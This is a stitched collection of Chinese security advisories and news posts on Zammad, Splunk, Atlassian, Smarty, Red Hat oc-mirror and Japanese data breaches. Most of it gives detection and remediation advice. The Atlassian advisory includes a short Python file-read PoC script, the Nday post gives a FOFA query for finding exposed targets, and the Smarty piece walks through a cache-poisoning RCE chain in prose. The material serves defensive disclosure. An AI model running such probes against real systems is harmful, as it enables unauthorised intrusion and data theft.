1. 检查设备事件日志中是否存在异常的 HTTP/HTTPS 请求与文件写入记录。
|
||||
|
||||
1. 检索设备系统目录下新增与被修改的可疑文件。
|
||||
|
||||
### 加固建议
|
||||
1. 将设备升级至厂商公告中的修复版本，升级前完成配置备份。
|
||||
|
||||
1. 将管理界面与邮件服务端口的访问来源限制为必要地址，不向互联网开放管理面。
|
||||
|
||||
1. 开启配置文件与关键目录的完整性校验，对系统目录变更设置告警。
|
||||
|
||||
### 参考来源
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2026-104286
|
||||
|
||||
## 风险三：Zammad 客服系统两枚漏洞形成在野利用链，攻击者可从未认证直达 root（CVE-2026-102489/102490）
|
||||
|
||||
Zammad 开源客服工单系统被披露两枚严重漏洞，可组合形成从未认证访问到 root 权限的完整攻击链。CVE-2026-102489 为会话固定漏洞（CVSS 3.1 为 9.8），远程未认证攻击者可劫持高权限用户的会话，并以 zammad 服务账号身份执行任意代码；CVE-2026-102490 为默认权限配置不当导致的本地提权（CVSS 3.1 为 9.8），本地用户可借文件与目录的权限缺陷将权限提升至 root。两枚漏洞均已遭在野利用，并一同被列入已知被利用漏洞目录。Zammad 广泛用于企业自建客服与工单系统，主机失守后攻击者可读取工单内容、邮件集成凭据、数据库口令与 API 令牌，并以此为跳板横向进入其他业务系统。CVE-2026-102489 直接影响 6.3.0 至 6.5.4 版本，已在 7.2.0 中加固；CVE-2026-102490 的官方修复版本尚未发布，需先收敛暴露面并做好取证准备。
|
||||
### 建议排查
|
||||
1. 清点在用 Zammad 实例的版本、是否自建部署以及是否可从互联网访问。
|
||||
|
||||
1. 审查应用与系统日志中是否存在异常会话创建、会话复用与 root 权限提升尝试。
|
||||
|
||||
1. 检查工单主机上应用可访问的配置文件、密钥与令牌是否已存在暴露风险。
|
||||
|
||||
### 加固建议
|
||||
1. 将受影响实例升级至 7.2.0 或更高版本；6.5 及更早版本已停止支持，需规划迁移。
|
||||
|
||||
1. 暂无法升级的实例先下线或限制为内网访问，并限制管理接口可访问来源。
|
||||
|
||||
1. 升级前后轮换数据库口令、邮件集成凭据与 API 令牌，并保留日志以备取证。
|
||||
|
||||
### 参考来源
|
||||
|
||||
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102489
|
||||
|
||||
## 风险四：Splunk Enterprise 接口缺失认证，未认证攻击者可执行系统命令（CVE-2026-76268）
|
||||
|
||||
Splunk 于 10 月 7 日发布安全公告，修复 Splunk Enterprise 中一枚命令执行漏洞，CVSS 3.1 为 9.8。漏洞根因是关键功能缺失身份认证：部署在搜索头集群成员上的 Patroni REST API 在关键配置操作上不要求认证，具备网络可达性的未认证用户即可借该接口执行攻击者控制的系统命令，权限与 Splunk 进程一致。Splunk 是集中日志与安全运营平台，承载告警研判、检测规则与审计数据，平台失守意味着攻击者可压制告警、篡改检测规则并窃取所依赖的日志内容，且平台自带凭据与数据源接入权限，横向影响面很广。受影响版本为 Splunk Enterprise 10.4.0 至 10.4.2 与 10.2.0 至 10.2.6，10.0.x 与 9.4.x 不受影响，修复版本为 10.4.3 与 10.2.7。官方公告暂未提及该漏洞遭在野利用，但同类接口在历史上已有被实际利用的先例，仍应按最高优先级处置。
|
||||
### 建议排查
|
||||
1. 确认在用 Splunk Enterprise 的版本及搜索头集群成员的部署范围。
|
||||
|
||||
1. 检查 Patroni REST API 相关端口的网络可达来源是否已收敛至受信网段。
|
||||
|
||||
1. 核查 Splunk 进程是否派生出异常的子系统进程与对外网络连接。
|
||||
|
||||
### 加固建议
|
||||
1. 将平台升级至 10.4.3 或 10.2.7，并为此预留变更窗口。
|
||||
|
||||
1. 暂无法升级时，若未使用相关数据管道，可在 server.conf 中禁用 PostgreSQL sidecar。
|
||||
|
||||
1. 对搜索头集群成员实施网络隔离，限制可访问其接口的来源主机。
|
||||
|
||||
### 参考来源
|
||||
|
||||
https://advisory.splunk.com/advisories/SVD-2026-1001
|
||||
|
||||
## 风险五：日本零售商 MrMax 服务器遭入侵，最多 173 万名客户信息面临外泄
|
||||
|
||||
MrMax Holdings 于 10 月 6 日发布公告，确认其 App 与网络商店所用服务器遭未授权访问，最多 1,735,154 名客户的个人信息可能外泄。官方披露的涉事信息包括客户 ID、姓名、电子邮箱与电话号码；地址、出生日期、信用卡信息、密码与购买历史未受影响。公司表示在察觉异常后即采取措施阻断访问并展开调查，已就此事向日本个人信息保护委员会报告。MrMax 在日本经营大量线下门店与线上业务，本次涉及规模接近其会员总量，属于单次事件中客户覆盖面较广的一类。对个人而言，姓名、邮箱与电话的组合已足以支撑精准钓鱼与短信诈骗；对企业而言，后续冒用品牌名义的欺诈邮件往往比泄露本身影响更久。日本同期已有多家企业报告服务器遭未授权访问的同类事件，覆盖零售、钟表与互联网服务等行业，呈现外部攻击者批量探测业务系统、而非定向攻击单点的特征。
|
||||
### 建议排查
|
||||
1. 核实本单位是否有员工以企业邮箱注册该平台，评估相关信息暴露面。
|
||||
|
||||
1. 关注以零售、快递、积分兑换名义发来的异常邮件、短信与来电。
|
||||
|
||||
1. 检查内部是否存在与该平台使用相同邮箱与口令的账号。
|
||||
|
||||
### 加固建议
|
||||
1. 对使用该平台邮箱的账号统一更换口令，避免跨系统复用。
|
||||
|
||||
1. 对外来邮件启用发件人域名校验与链接沙箱检测。
|
||||
|
||||
1. 将外部会员与积分类平台账号独立管理，减少与业务账号的关联。
|
||||
|
||||
### 参考来源
|
||||
|
||||
https://www.mrmaxhd.co.jp/release/upload/20261006_release.pdf
|
||||
|
||||
## 风险六：日本调查平台 infoQ 遭未授权访问，超 94 万条会员信息与积分被窃
|
||||
|
||||
GMO 研究与人工智能公司于 10 月 5 日发布公告，确认其运营的问卷调查网站 infoQ 遭外部未授权访问，会员个人信息被带出，最多 948,498 条记录受影响。官方披露的泄露信息包括姓名、假名注音、性别、出生日期、邮箱、地址、电话、加密后的密码、会员 ID 及其他注册信息，公司未持有信用卡与个人编号信息。除数据外泄外，攻击者还将部分会员的积分兑换为购物礼品码，涉及 611 名会员、合计约 286.95 万日元，公司已承诺全额补偿，并已于 10 月 5 日向日本个人信息保护委员会报告。官方说明入侵原因为外部人员利用了网站所用软件的漏洞，公司已停止服务并切断外部访问。调查平台沉淀的会员资料维度完整、真实度高，被窃取后极易用于精准诈骗与撞库；积分能够被成功兑换，说明攻击者已具备完整的业务操作能力，而非仅读取数据。
|
||||
### 建议排查
|
||||
1. 排查员工是否在该平台注册过账号，尤其是使用企业邮箱与相同口令的情况。
|
||||
|
||||
1. 检查积分、优惠券类账户是否存在非本人操作的兑换记录。
|
||||
|
||||
1. 关注以问卷奖励、积分兑换名义发来的钓鱼邮件与短信。
|
||||
|
||||
### 加固建议
|
||||
1. 对使用相同口令的平台账号立即更换口令并启用二次验证。
|
||||
|
||||
1. 为积分兑换等高权限操作增加人工确认或额度限制。
|
||||
|
||||
1. 外部表单与问卷类平台实行账号隔离，不使用企业主邮箱注册。
|
||||
|
||||
### 参考来源
|
||||
|
||||
https://gmo-research.ai/pressroom/notice/notice-20261005
|
||||
|
||||
|
||||
**PART.****02**
|
||||
|
||||
|
||||
总体处置建议
|
||||
|
||||
|
||||
|
||||
|
||||
## 总结
|
||||
|
||||
本期六条风险中，两条为数据泄露事件、四条为可被远程利用的漏洞。日本零售商 MrMax 与调查平台 infoQ 相继确认服务器遭未授权访问，合计逾 260 万名客户的个人信息外泄，同期当地已有多家企业报告同类事件，说明外部攻击者正批量探测业务系统而非定向攻击单点。漏洞侧，Cisco SD-WAN 管理平台与 FortiMail 邮件网关的漏洞均已遭在野利用，直指管理员与系统级权限；Zammad 客服系统被利用后可直达 root；Splunk 日志平台则因接口缺失认证面临未认证命令执行风险。整体看，业务系统与网络边界同时承压，未认证可达与高权限后果仍是处置排序的首要依据。
|
||||
|
||||
## 整体风险处置建议
|
||||
1. 以「未认证可达 + 已遭在野利用」为最高优先级，先处置广域网管理平台、邮件网关与对外业务系统。
|
||||
|
||||
1. 对管理平台与日志平台执行网络隔离，禁止管理与 API 端口直接暴露于互联网，边界设备统一收敛管理面访问。
|
||||
|
||||
1. 建立边界设备与平台组件的版本台账，把 SD-WAN 管理平台、邮件网关与各类业务平台纳入统一管理。
|
||||
|
||||
1. 清理以企业邮箱注册的外部平台账号，排查口令复用与长期未更换的凭据，并为其启用二次验证。
|
||||
|
||||
1. 针对数据外泄后的下游欺诈建立预警流程，把冒充品牌、伪造收款账户与积分兑换类钓鱼纳入员工告警。
|
||||
|
||||
|
||||
## 合规说明
|
||||
|
||||
以上内容基于公开信息整理，仅用于网络安全防护与管理决策参考，具体影响范围与修复方式请以厂商官方公告为准。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
# 【高危漏洞预警】Atlassian Data Center未认证任意文件读取漏洞CVE-2026-21589
|
||||
飓风网络安全 2026-10-08 15:44
|
||||
|
||||
|
||||
|
||||
**一、漏洞详情**
|
||||
|
||||
Atlassian 官方于2026-10-05披露高危漏洞CVE-2026-21589，影响Jira、Confluence、Bitbucket、Bamboo、Crowd等多款Data Center私有化产品。未经身份验证的远程攻击者，在知晓目标文件精确文件名与路径前提下，可读取Web应用根目录下文件；漏洞不支持目录遍历/目录列举。漏洞披露后短时间内，外网已出现批量利用探测流量，POC公开，建议企业立即开展资产排查与应急处置。
|
||||
|
||||
攻击复杂度：低；前提：攻击者需要预先知道目标文件完整路径文件名，不能直接遍历列出目录
|
||||
|
||||
影响产品（Data Center 私有化部署，云版本已自动修复）
|
||||
|
||||
|
||||
|
||||
重要说明：Atlassian Cloud云托管实例已经完成自动修复，云客户无需操作；仅私有化Data Center/Server版本受该漏洞威胁。
|
||||
|
||||
**二、漏洞原理技术分析**
|
||||
|
||||
根本成因
|
||||
|
||||
Atlassian Web应用的静态资源处理模块存在路径校验缺陷。对于Web根目录下的静态资源请求，后端代码对传入文件路径的合法性校验存在绕过缺陷，未做严格身份鉴权，当攻击者传入精确已知文件路径，服务端直接读取文件内容并返回给请求方。
|
||||
|
||||
关键限制点（很多人容易误解）
|
||||
|
||||
1. ❌ 无法目录遍历，不能../向上跳转读取系统其他目录文件；只能读取web根目录下文件
|
||||
|
||||
2. ❌ 不能ls列举目录，攻击者无法自动扫描有哪些文件；必须提前知道完整文件名
|
||||
|
||||
3. ✅ 若Web根目录存放配置文件、密钥、token、数据库连接配置、证书等敏感文件，则会造成严重信息泄露。
|
||||
|
||||
**攻击链路**
|
||||
|
||||
1. 攻击者访问暴露公网的Atlassian服务（Jira/Confluence等）
|
||||
|
||||
2. 构造特制HTTP请求，带入webroot下已知文件的完整路径
|
||||
|
||||
3. 服务端鉴权逻辑失效，直接读取文件原始内容返回
|
||||
|
||||
4. 攻击者获取配置、密钥、敏感信息，进一步用于登录、接管系统、横向移动
|
||||
|
||||
**三、风险影响研判**
|
||||
|
||||
1. 信息泄露：读取web根目录下配置、密钥、证书、自定义脚本、备份文件，获取账号凭证，接管Jira/Confluence权限。很多企业会在web目录放置临时配置、API密钥，一旦泄露直接失陷。
|
||||
|
||||
2. 业务安全：Jira、Confluence常存放项目文档、源代码、客户需求、工单、内部涉密业务资料，泄露将引发数据安全、合规、知识产权风险。
|
||||
|
||||
3. 攻击态势：漏洞披露后POC短时间公开，外网已经出现批量扫描探测；公网暴露且未打补丁的实例属于高风险资产。
|
||||
|
||||
4. 边界说明：漏洞不能直接RCE，仅文件读取；但读取密钥/凭证后，可作为跳板实现后续登录、代码执行。
|
||||
|
||||
**四、检测方法（自查方案）**
|
||||
|
||||
方式1：资产盘点
|
||||
|
||||
1. 资产扫描，检索内网/公网资产：Jira、Confluence、Bitbucket、Bamboo、Crowd私有化实例
|
||||
|
||||
2. 查询版本号，对照上表判断是否落在受影响版本区间
|
||||
|
||||
3. 核查是否公网直接开放访问，无WAF/IP白名单防护
|
||||
|
||||
方式2：日志审计
|
||||
|
||||
检索Web访问日志，查找异常特征请求路径，重点排查：
|
||||
|
||||
• 大量静态资源文件请求
|
||||
|
||||
• 尝试读取.properties、.yml、.xml、.key、.pem、backup、.conf等配置/密钥文件
|
||||
|
||||
若发现大量此类探测请求，代表资产正在被扫描攻击。
|
||||
|
||||
方式3：漏洞POC验证脚本
|
||||
|
||||
⚠️ 仅在企业授权、内部测试环境执行，禁止对公网未授权服务器扫描测试，否则违反网络安全法规。
|
||||
|
||||
# CVE-2026-21589 验证POC（仅用于授权内部检测）
|
||||
|
||||
import requests
|
||||
|
||||
target_url = "http://127.0.0.1:8080"
|
||||
|
||||
# 填入webroot下已知存在的文件路径，示例仅为演示
|
||||
|
||||
file_path = "WEB-INF/web.xml"
|
||||
|
||||
headers = {
|
||||
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
|
||||
|
||||
}
|
||||
|
||||
try:
|
||||
|
||||
resp = requests.get(f"{target_url}/rest/xxx/vulnerablepath?file={file_path}", headers=headers, timeout=10, verify=False)
|
||||
|
||||
if resp.status_code == 200 and len(resp.text) > 0:
|
||||
|
||||
print("[+] 目标存在CVE-2026-21589漏洞，成功读取文件")
|
||||
|
||||
print(resp.text[:500])
|
||||
|
||||
else:
|
||||
|
||||
print("[-] 目标不存在漏洞或路径错误")
|
||||
|
||||
except Exception as e:
|
||||
|
||||
print(f"请求异常: {e}")
|
||||
|
||||
注：真实请求接口路径根据Atlassian产品版本微调；该漏洞需要目标文件真实存在才能触发。
|
||||
|
||||
**五、应急处置与修复方案（优先级排序）**
|
||||
|
||||
P0 紧急修复（首选方案）
|
||||
|
||||
升级Atlassian Data Center产品至上表对应的安全版本，升级前建议备份数据库与应用目录。
|
||||
|
||||
P1 临时缓解措施（无法立刻升级时）
|
||||
|
||||
1. 网络层面：配置WAF/防火墙，限制访问源IP，仅内网可信IP访问Atlassian服务，禁止公网直接暴露。
|
||||
|
||||
2. WAF规则：增加规则拦截尝试读取.properties、.yml、.key、.pem、.xml等敏感后缀文件的请求。
|
||||
|
||||
3. 清理Web根目录：检查web根目录，移除所有密钥、证书、配置文件、备份文件，不要放置任何敏感文件。
|
||||
|
||||
4. 日志留存：开启全量Web访问日志，至少保留90天，用于事后溯源。
|
||||
|
||||
P2 加固与持续监测
|
||||
|
||||
1. 升级完成后，复测漏洞，确认无法读取文件。
|
||||
|
||||
2. 持续监控访问日志，持续监测异常文件读取行为。
|
||||
|
||||
3. 定期资产测绘，杜绝Atlassian服务无防护暴露在公网。
|
||||
|
||||
4. 账号安全巡检：一旦存在被利用迹象，立即重置管理员账号、密钥、API Token。
|
||||
|
||||
**六、安全运营建议**
|
||||
|
||||
1. Atlassian套件（Jira/Confluence）是企业高频攻击靶标，严禁直接公网裸奔，优先VPN/零信任访问。
|
||||
|
||||
2. 建立第三方组件漏洞预警机制，Atlassian高危漏洞披露速度快，漏洞利用POC经常短时间公开。
|
||||
|
||||
3. 定期做代码/文档平台的安全基线检查，禁止在web可访问目录存放密钥与配置。
|
||||
@@ -0,0 +1,102 @@
|
||||
# 一行注释骗过25年模板引擎：Smarty缓存投毒RCE深度复现（CVE-2026-82531，附PoC）
|
||||
原创 赤霄攻防实验室
|
||||
赤霄攻防实验室 赤霄攻防实验室 2026-10-09 01:16
|
||||
|
||||
|
||||
|
||||
CVE-2026-82531 · Smarty 模板引擎 nocache 标记伪造缓存投毒 RCE
|
||||
|
||||
**TL;DR 四行速览**
|
||||
- **是什么：**
|
||||
PHP 最老牌模板引擎 Smarty 的代码注入漏洞（CVE-2026-82531），继承模板编译路径漏掉一个哈希复位语句，攻击者可用一行注释伪造引擎内部标记，把原始 PHP 逐字写进缓存文件
|
||||
|
||||
- **影响：**
|
||||
Smarty 5.x 全系（<5.8.5）与 4.x（<4.5.8），CVSS 4.0 高达 9.2；PrestaShop 等大量 CMS 与自建站点底层在用
|
||||
|
||||
- **修复：**
|
||||
升级到 2026-10-04 发布的 5.8.5 / 4.5.8，官方同时合入回归测试锁死利用链
|
||||
|
||||
- **看点：**
|
||||
我们在本地 5.8.4 环境完整复现了「编译落盘→缓存投毒→include 执行」全链路，注入代码真实运行；5.8.5 上同一载荷被中和——一个 null 引爆的审计盲区，值得所有写模板引擎的人看三遍
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞概要信息卡：CVE-2026-82531 关键事实一览
|
||||
|
||||
## 01 一行注释，骗过了二十年的模板引擎
|
||||
|
||||
Smarty 是 PHP 世界最老牌的编译型模板引擎，2001 年立项至今二十五年，PrestaShop 等知名电商系统与无数自建站点的页面渲染都跑在它上面。它的核心机制是「编译 + 缓存」：模板先被编译成 PHP 文件，渲染结果再整体缓存，下一个访客直接 include 缓存文件——性能是快了，但缓存文件本身就成了攻击者的目标。
|
||||
|
||||
这次出问题的，是引擎用来区分「可缓存内容」和「不可缓存内容」的内部标记。Smarty 用一对形如注释的标记（SmartyNocache 标记对，中间夹一串随机哈希）包住每次请求都要重新计算的部分，写缓存时靠这段哈希识别哪些内容需要单独抽取。问题在于：通过 extends: 继承语法编译的模板，顶层编译产物里恰恰漏掉了哈希复位语句。
|
||||
|
||||
于是出现了一个诡异的连锁反应：新进程从磁盘重载编译文件时，nocache_hash 属性保持 null；写缓存时这个 null 被折进正则表达式，变成一个匹配「空哈希标记」的分支。也就是说，攻击者只要在能回显到页面的数据里，塞进一对带空哈希的伪造标记——不需要知道真实哈希是什么——引擎就会把标记里的内容当成「受保护的 nocache 段」，逐字拷进缓存文件，完全绕过本应执行的 PHP 标签中和。
|
||||
|
||||
|
||||
|
||||
攻击链全貌：从一条用户输入到服务器代码执行
|
||||
|
||||
## 02 根因：编译器少发了一条语句
|
||||
|
||||
把镜头拉近到源码。Smarty 编译模板时会生成一个统一的入口函数（unifunc），正常模板的入口函数开头有一条复位语句，把本次编译的 nocache_hash 写回 Compiled 对象。但 extends:/多组件继承路径构建顶层入口时，只从 include 标签出发拼装，这条复位语句永远不会出现（src/Compiler/Template.php 411-430 行与 1255-1256 行的差异就在这里）。
|
||||
|
||||
更巧的是，从磁盘重载编译文件的那段代码（src/Template/Compiled.php 290-293 行）只恢复了 unifunc、has_nocache_code、file_dependency 三个属性——nocache_hash 不在名单里。单进程内这个问题被掩盖了：编译和渲染在同一个对象上，哈希还在内存里。一旦换成 PHP-FPM 的真实世界，每个 worker 都是新进程，哈希永远回不来。
|
||||
|
||||
最后一步在缓存写入处（src/Template/Cached.php 303-315 行）：null 哈希被当成数组下标，产生空字符串键，implode 之后正则里多出一个空分支 (真实哈希|)。正则里出现空分支意味着什么？意味着它可以匹配一对完全不带哈希的裸标记——而这对标记，任何人都能写出来。
|
||||
|
||||
|
||||
|
||||
根因对照：漏洞版与修复版在缓存切分逻辑上的差异
|
||||
### 为什么二十多年没被发现
|
||||
|
||||
回头看，这个漏洞藏在三个环节的耦合处：编译器按路径生成不同的入口结构、重载逻辑只挑了三个属性恢复、正则拼接对 null 零防御。单看每一处都「没什么问题」，组合起来才是完整的利用链。这也是它值得所有基础组件维护者警惕的地方：状态在对象生命周期里的传递，比任何单点代码都更容易漏。
|
||||
|
||||
## 03 官方响应：一次教科书式的修复
|
||||
|
||||
2026 年 10 月 4 日，维护者 Simon Wisselink 在 4.x/5.x 两条分支同时发布 4.5.8 与 5.8.5，修复 commit 直白地命名为「防止 nocache 标记伪造导致的缓存投毒 RCE」。修复没有打补丁式的缝缝补补，而是三层防御：空哈希不再折入正则；array_filter 强制过滤空键，空分支在结构上不可能再出现；哈希表为空时整段输出按普通文本全量中和。
|
||||
|
||||
更值得称赞的是官方同时合入了回归测试 NocacheHashInjectionTest：完整重放「良性编译→缓存过期→恶意数据重生成→良性请求触发」三阶段利用链，断言哨兵文件永不被创建。安全修复配测试锁死，这才是基础组件该有的姿势。
|
||||
|
||||
|
||||
|
||||
官方修复 commit：c0fdd48，双分支同日修复
|
||||
|
||||
## 04 本地复现：注入代码真实执行
|
||||
|
||||
我们在本地搭了对照环境：同一台机器、同一个 PHP 8.1，分别跑 Smarty 5.8.4（漏洞版）与 5.8.5（修复版）。利用条件完全对齐官方公告——开启缓存（CACHING_LIFETIME_CURRENT）、extends: 继承模板、攻击者可控数据未转义回显。
|
||||
|
||||
5.8.4 上的结果：第二阶段用携带伪造标记的赋值数据重新生成缓存时，注入的 PHP 代码立即执行——哨兵文件当场生成；缓存文件里躺着未中和的原始 PHP，下一个「良性」请求 include 缓存时它还会再执行一次。判定：VULNERABLE。
|
||||
|
||||
5.8.5 上跑同一载荷：伪造标记还在数据里，但引擎不再把它当作 nocache 段，PHP 标签被正常中和成纯文本输出，哨兵文件自始至终不存在。判定：PATCHED。完整验证脚本（三态结论输出：VULNERABLE / PATCHED / UNKNOWN）已开源，见文末参考链接。
|
||||
|
||||
## 05 谁该立即行动
|
||||
|
||||
三类站点风险最高：一是 PrestaShop 等 Smarty 内核的电商系统——商品评论、搜索回填正是「用户数据未转义回显」的高发区；二是任何开启 Smarty 缓存且模板使用 extends: 继承的自建站点；三是模板文件或数据来源部分受用户影响的 SaaS 平台。自查方法很简单：composer 看锁定版本，低于 5.8.5 / 4.5.8 即在影响范围。
|
||||
|
||||
处置优先级：能升级的立刻升级，5.x 内是平滑的补丁版本；暂不能升级的，对回显变量开启 escape_html 转义、清空全部缓存目录（存量缓存可能已被投毒）、临时开启 compile_check 增加重编译校验。注意：只清缓存不升级是无效的，下一个攻击载荷会重新投毒。
|
||||
|
||||
## 06 情报源
|
||||
|
||||
|
||||
|
||||
NVD 收录页：CVE-2026-82531，CVSS 4.0 9.2 / 3.1 8.1
|
||||
|
||||
|
||||
|
||||
GitHub Security Advisory：GHSA-3w63-v7pm-cq9x，含完整根因路径
|
||||
|
||||
本次分析的信息源与验证材料：
|
||||
|
||||
· NVD：https://nvd.nist.gov/vuln/detail/CVE-2026-82531
|
||||
|
||||
· GitHub Advisory：https://github.com/smarty-php/smarty/security/advisories/GHSA-3w63-v7pm-cq9x
|
||||
|
||||
· 修复 commit：https://github.com/smarty-php/smarty/commit/c0fdd4824aca4f67e814b50703cfee1dfde41414
|
||||
|
||||
· 验证脚本：https://github.com/Rubby2001/CVE-POCS/tree/main/CVE-2026-82531
|
||||
|
||||
· 官方发布：Smarty 5.8.5 / 4.5.8（2026-10-04）
|
||||
|
||||
本文仅用于防御研究与安全教学，分析基于公开披露信息与本地受控环境验证，请勿对未授权目标进行测试。
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
# 博硕BGM RESTFulServiceForWeb.asmx 敏感信息泄露漏洞
|
||||
Superhero
|
||||
Superhero Nday Poc 2026-10-09 02:20
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
博硕BGM RESTFulServiceForWeb.asmx 存在信息泄露漏洞，未授权攻击者可利用该漏洞获取系统用户信息，可能导致进一步的攻击。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
fofa:
|
||||
```
|
||||
body="Libs/Platform.lib"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||
|
||||
|
||||
afrog
|
||||
|
||||
|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
### 【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现 · 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 **资源内容**
|
||||
|
||||
▫️ 整合全网公开1day/Nday漏洞POC详情
|
||||
|
||||
▫️ 适配Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 **更新计划**
|
||||
|
||||
▫️ 每周新增7-10个实用POC（来源公开平台）
|
||||
|
||||
▫️ 所有脚本经过基础测试，降低调试成本
|
||||
|
||||
🎯 **适用场景**
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ **重要声明**
|
||||
|
||||
▫️
|
||||
仅限合法授权测试，严禁违规使用
|
||||
|
||||
**▫️虚拟资源服务，购买后不接受任何形式退款**
|
||||
|
||||
▫️
|
||||
付款
|
||||
前请评估需求，慎重考虑
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# 红帽 OpenShift 漏洞允许攻击者绕过 PGP 检查并推送恶意版本
|
||||
Rhinoer
|
||||
Rhinoer 犀牛安全 2026-10-08 16:00
|
||||
|
||||
|
||||
|
||||
红帽公司披露了OpenShift oc-mirror 工具中的一个重要安全漏洞，该漏洞可能允许攻击者绕过 PGP 签名验证，并将恶意发布镜像引入到断开连接的 OpenShift 环境中。
|
||||
|
||||
该漏洞编号为 CVE-2026-75939，CVSS v3.1 评分为 7.4，于 2026 年 9 月 21 日公开。该漏洞影响 openshift/oc-mirror 组件，组织使用该组件将 OpenShift 版本镜像、操作员目录和相关内容复制到私有注册表中。
|
||||
|
||||
对于物理隔离或断开连接的部署，此过程尤为重要，因为系统无法直接从 Red Hat 注册表或公共互联网下载软件。
|
||||
|
||||
据红帽公司称，oc-mirror 工具对 PGP 签名的发布镜像签名验证有误。该工具在完成对整个签名消息体的处理之前，就开始检查签名错误。
|
||||
|
||||
这就造成了一种验证绕过的情况，即精心构造的 PGP 消息即使签名是伪造的，也可能看起来像是可信的。
|
||||
|
||||
红帽 OpenShift 漏洞
|
||||
|
||||
攻击者需要能够拦截或篡改受影响的 oc-mirror 实例与签名端点之间的流量。然后，他们可以提供包含有效 Red Hat 发布密钥 ID 的伪造 PGP 消息。
|
||||
|
||||
由于验证流程存在漏洞，该工具可能将恶意消息误判为合法消息，并将恶意发布有效载荷镜像到断开连接的注册表中。这会造成严重的供应链风险，因为镜像内容通常被视为已批准的内部软件。
|
||||
|
||||
一旦恶意发布镜像到达私有镜像仓库，OpenShift 管理员或自动化安装流程就可能选择该镜像进行部署。这可能会使集群面临未经授权的代码执行、应用程序篡改、凭证窃取或数据访问的风险。
|
||||
|
||||
红帽公司将此问题评为“重要”，并将其归类为网络攻击途径。该漏洞无需攻击者拥有特权或用户交互即可利用。
|
||||
|
||||
然而，由于攻击者必须成功操纵与特征码相关的网络流量，因此该漏洞利用攻击的复杂度很高。红帽的 CVSS 向量显示，该漏洞对机密性和完整性造成严重影响，而对可用性的影响则被评为无影响。
|
||||
|
||||
受影响的组件是 Red Hat OpenShift Container Platform 4 中的 openshift4/oc-mirror-plugin-rhel9。RHEL 8 版本的插件未受影响，因为该组件不存在。
|
||||
|
||||
红帽公司指出，除非另有明确标记，否则受影响的次要产品流中的旧软件包版本通常应被视为易受攻击。
|
||||
|
||||
披露时，红帽公司表示，目前尚无任何切实可行的缓解措施能够满足其标准的部署和稳定性要求。因此，使用 oc-mirror 的组织应将版本镜像工作流程视为高风险，直到发布安全勘误表或更新的软件包为止。
|
||||
|
||||
管理员应限制对签名端点的网络访问，认真执行 TLS 检查安全措施，监控镜像注册表内容的异常变化，并在将内容推广到生产环境之前，通过独立的受信任渠道验证发布摘要。
|
||||
|
||||
团队还应审查断开连接的注册表访问控制，审核最近的镜像版本，并关注红帽的安全公告以获取补救更新。
|
||||
|
||||
|
||||
信息来源：C
|
||||
yberSecurityNews
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
# 赛博安全狗：微软合作伙伴中心存在权限提升漏洞 (10.09)
|
||||
赛博安全狗
|
||||
赛博安全狗 赛博看门狗 2026-10-09 01:31
|
||||
|
||||
[ ROOT @ WATCHDOG ]
|
||||
|
||||
全网高价值安全威胁速递。包含高危漏洞、数据泄露与行业重点动态。
|
||||
|
||||
2026-10-09 · 10 条
|
||||
|
||||
今日重点
|
||||
|
||||
1.
|
||||
南方公司称约40万客户账户信息遭未授权访问
|
||||
|
||||
2.
|
||||
微软合作伙伴中心存在权限提升漏洞
|
||||
|
||||
3.
|
||||
德国当局完成对Qilin核心成员的引渡
|
||||
|
||||
【一】行业和安全动态
|
||||
|
||||
行业动态
|
||||
|
||||
德国当局完成对Qilin核心成员的引渡
|
||||
|
||||
德国当局完成对勒索软件团伙Qilin核心成员、28岁俄罗斯籍嫌疑人'Snake'的引渡。该嫌疑人于2026年5月在日本被捕，缘由是其出境度假触发了通缉信息。德国检方披露，Qilin已造成全球约3954家机构受害，历史赎金索要总额高达28.8亿美元。
|
||||
|
||||
来源：SecurityHub · 10-09 04:31（北京时间）
|
||||
|
||||
行业动态
|
||||
|
||||
FBI通缉犯涉嫌为委内瑞拉帮派提供资金
|
||||
|
||||
首位被列入FBI通缉名单的罪犯涉嫌为委内瑞拉帮派Tren de Aragua的暴力犯罪活动注入资金。该罪犯因涉嫌ATM取款机“中奖”攻击（jackpotting）被逮捕。
|
||||
|
||||
来源：Dark Reading · 10-09 03:08（北京时间）
|
||||
|
||||
行业动态
|
||||
|
||||
恶意软件利用自然语言指令欺骗AI分析
|
||||
|
||||
